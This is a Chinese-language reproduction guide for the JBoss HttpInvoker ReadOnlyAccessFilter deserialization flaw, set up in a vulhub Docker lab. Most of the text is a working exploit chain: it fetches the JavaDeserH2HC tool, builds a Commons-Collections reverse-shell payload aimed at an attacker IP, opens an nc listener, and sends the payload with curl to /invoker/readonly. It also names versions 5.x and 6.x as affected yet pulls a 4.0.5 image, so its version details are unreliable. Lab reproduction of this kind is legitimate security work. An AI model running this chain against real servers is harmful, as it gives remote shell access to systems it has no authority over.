原理
该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。
影响版本
JBoss AS 5.x和6.x版
漏洞复现
攻击机:xx.xx.xx.xx 靶机:x.x.x.x 1.靶机环境搭建 用docker拉取靶机镜像
docker pull vulhub/jboss:as-4.0.5
创建启动靶机容器
docker run -d -p 9700:8000 vulhub/jboss:as-4.0.5 注:9700为外部映射端口,可自定义 2.漏洞检测利用 反弹shell exp工具下载:https://github.com/joaomatosf/JavaDeserH2HC 编译并生成序列化数据,生成
ReverseShellCommonsCollectionsHashMap.class
文件 javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
序列化恶意数据至文件,生成ReverseShellCommonsCollectionsHashMap.ser
文件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap xx.xx.xx.xx:9963 注:xx.xx.xx.xx是攻击者IP,端口为反弹shell端口
攻击机监听9963端口
nc -lvnp 9963
把ReverseShellCommonsCollectionsHashMap.ser
发送到靶机
curl http://x.x.x.x:9700/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser --data-binary 以二进制的方式post数据
反弹shell成功